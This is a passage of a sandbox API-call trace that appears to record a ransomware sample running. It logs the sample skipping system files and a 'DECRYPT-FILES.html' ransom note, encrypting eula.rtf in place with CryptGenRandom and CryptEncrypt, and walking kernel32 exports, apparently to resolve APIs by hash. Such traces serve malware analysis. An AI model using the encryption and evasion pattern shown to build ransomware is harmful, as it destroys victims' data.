(lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0117.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\") returned 27 [0117.725] lstrlenW (lpString="eogwkz.dat") returned 10 [0117.725] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1030\\" | out: lpString1="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0117.725] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1030\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1030\\eogwkz.dat" [0117.726] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0117.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1030\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.726] CloseHandle (hObject=0x0) returned 0 [0117.726] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.726] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0117.726] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0117.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\") returned 27 [0117.727] lstrlenW (lpString="eula.rtf") returned 8 [0117.727] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1030\\" | out: lpString1="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0117.727] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf" [0117.727] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0117.727] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0117.727] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3314) returned 1 [0117.727] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0117.727] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3c70000 [0117.995] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x38c0000 | out: pbBuffer=0x38c0000) returned 1 [0117.995] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x38c0020 | out: pbBuffer=0x38c0020) returned 1 [0117.995] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3c60000 [0117.995] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c60000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3c60000*, pdwDataLen=0x38be718*=0x100) returned 1 [0117.996] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3c80000 [0117.996] VirtualFree (lpAddress=0x3c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.996] UnmapViewOfFile (lpBaseAddress=0x3c70000) returned 1 [0117.996] CloseHandle (hObject=0x5f8) returned 1 [0117.996] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.996] WriteFile (in: hFile=0x5f4, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0117.997] CloseHandle (hObject=0x0) returned 0 [0117.997] CloseHandle (hObject=0x5f4) returned 1 [0117.998] VirtualFree (lpAddress=0x3c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.998] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.999] GetTickCount () returned 0x32f10 [0117.999] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0117.999] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0117.999] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3c60000 [0117.999] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3c70000 [0118.000] lstrlenA (lpString="kernel32.dll") returned 12 [0118.000] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0118.000] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.000] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.000] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.000] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.000] lstrlenA (lpString="ADDATOMA") returned 8 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.000] lstrlenA (lpString="ADDATOMW") returned 8 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.000] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.000] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.000] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.000] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.000] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.000] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.000] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.000] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.001] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.001] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.001] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.001] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.001] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.001] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.001] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.001] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.001] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.001] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.001] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.001] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.001] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.001] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.001] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.001] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.001] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.001] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.002] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.002] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.002] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.002] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.002] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.002] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.002] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.002] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.002] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.002] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.002] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.002] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.002] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.002] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.002] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.002] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.002] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.002] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.003] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.003] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.003] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.003] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.003] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.003] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.003] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.003] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.003] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.003] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.003] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.003] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.003] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.003] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.003] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.003] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.004] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.004] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.004] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.004] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.004] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.004] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.004] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.004] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.004] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.004] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.004] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.004] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.004] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.004] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.004] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.004] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.004] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.004] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.004] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.004] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.004] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.005] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, 